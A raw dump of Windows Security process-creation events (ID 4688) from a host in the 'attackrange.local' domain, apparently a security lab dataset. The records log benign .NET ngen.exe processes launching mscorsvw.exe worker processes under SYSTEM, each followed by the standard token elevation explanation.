Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255276
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 990 -InterruptEvent 0 -NGENProcess 984 -Pipe 998 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255275
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9a0 -InterruptEvent 0 -NGENProcess 984 -Pipe 98c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255274
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9ac -InterruptEvent 0 -NGENProcess 970 -Pipe 9b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 93c -InterruptEvent 0 -NGENProcess 970 -Pipe 9a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 970 -InterruptEvent 0 -NGENProcess 96c -Pipe 980 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 970 -Pipe 988 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 970 -InterruptEvent 0 -NGENProcess 96c -Pipe 974 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 968 -InterruptEvent 0 -NGENProcess 96c -Pipe 978 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255268
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 924 -Pipe 94c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255288
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 95c -InterruptEvent 0 -NGENProcess 97c -Pipe 944 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255287
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 96c -Pipe 938 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255286
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9a0 -InterruptEvent 0 -NGENProcess 96c -Pipe 990 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255285
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 96c -Pipe 91c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255284
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 924 -InterruptEvent 0 -NGENProcess 96c -Pipe 950 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255283
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 97c -InterruptEvent 0 -NGENProcess 96c -Pipe 954 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255282
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 938 -InterruptEvent 0 -NGENProcess 96c -Pipe 964 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255281
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 96c -Pipe 970 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255280
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 984 -Pipe 8b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

